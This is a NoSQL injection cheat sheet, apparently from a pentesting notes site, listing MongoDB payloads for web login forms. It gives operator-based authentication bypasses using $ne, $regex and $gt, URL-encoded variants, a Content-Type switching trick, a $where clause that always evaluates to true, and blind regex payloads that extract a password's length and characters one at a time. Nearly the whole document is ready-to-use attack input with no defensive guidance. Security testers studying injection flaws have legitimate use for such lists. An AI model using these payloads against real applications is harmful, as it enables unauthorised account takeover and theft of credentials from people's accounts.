# NoSQLi

<details>

<summary><mark style="color:purple;"><strong><code>Authentication Bypass</code></strong></mark></summary>

{% code title="Bypass by checking both fields exist" overflow="wrap" %}
```mongodb
{"username": {"$ne": null}, "password": {"$ne": null}}
```
{% endcode %}

{% code title="Bypass using regex wildcard to match any value" overflow="wrap" %}
```mongodb
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
```
{% endcode %}

{% code title="Bypass for known username, password greater than empty string" overflow="wrap" %}
```mongodb
{"username": "admin", "password": {"$gt": ""}}
```
{% endcode %}

{% hint style="info" %}
<mark style="color:red;">**`URL-encoded bypasses`**</mark>

{% code title="URL-encoded version of null check bypass" overflow="wrap" %}
```mongodb
username[$ne]=null&password[$ne]=null
```
{% endcode %}

{% code title="URL-encoded regex wildcard bypass" overflow="wrap" %}
```mongodb
username[$regex]=.*&password[$regex]=.*
```
{% endcode %}
{% endhint %}

</details>

<details>

<summary><mark style="color:orange;"><strong><code>NoSQL</code></strong></mark> <mark style="color:purple;"><strong>Login Bypass by</strong></mark><strong> </strong><mark style="color:orange;"><strong><code>Content-Type</code></strong></mark><strong> </strong><mark style="color:purple;"><strong>Switch</strong></mark></summary>

<mark style="color:purple;">With</mark> <mark style="color:orange;">**`Content-Type: application/x-www-form-urlencoded`**</mark> <mark style="color:purple;">try:</mark>

{% code title="URL-Encoded" %}
```mongodb
user=admin&password[$ne]=wrongpassword
```
{% endcode %}

<mark style="color:purple;">Otherwise, set the</mark> <mark style="color:orange;">**`Content-Type`**</mark> <mark style="color:purple;">to</mark> <mark style="color:orange;">**`application/json`**</mark> <mark style="color:purple;">on the</mark> <mark style="color:orange;">**`POST`**</mark> <mark style="color:purple;">request:B</mark>

{% code title="JSON" %}
```mongodb
{"user": "admin", "password": {"$ne": "wrongpassword"}}
```
{% endcode %}

</details>

<details>

<summary><mark style="color:orange;"><strong><code>JSON</code></strong></mark><strong> </strong><mark style="color:purple;"><strong>injection in web forms</strong></mark></summary>

{% code title="Both fields not equal to empty string" overflow="wrap" %}
```mongodb
{"username": {"$ne": ""}, "password": {"$ne": ""}}
```
{% endcode %}

{% code title="$where clause always evaluates to true" overflow="wrap" %}
```mongodb
{"$where": "this.username == this.username"}
```
{% endcode %}

</details>

<details>

<summary><mark style="color:purple;"><strong>Blind</strong></mark><strong> </strong><mark style="color:orange;"><strong><code>NoSQL</code></strong></mark><strong> </strong><mark style="color:purple;"><strong>injection</strong></mark></summary>

{% hint style="info" %}
<mark style="color:red;">**`Length enumeration`**</mark>

```mongodb
{"username": "admin", "password": {"$regex": ".{1}"}}
```

```mongodb
{"username": "admin", "password": {"$regex": ".{2}"}}
```
{% endhint %}

{% hint style="info" %}
<mark style="color:red;">**`Character-by-character extraction`**</mark>

```mongodb
{"username": "admin", "password": {"$regex": "^a.*"}}
```

```mongodb
{"username": "admin", "password": {"$regex": "^ad.*"}}
```
{% endhint %}

</details>
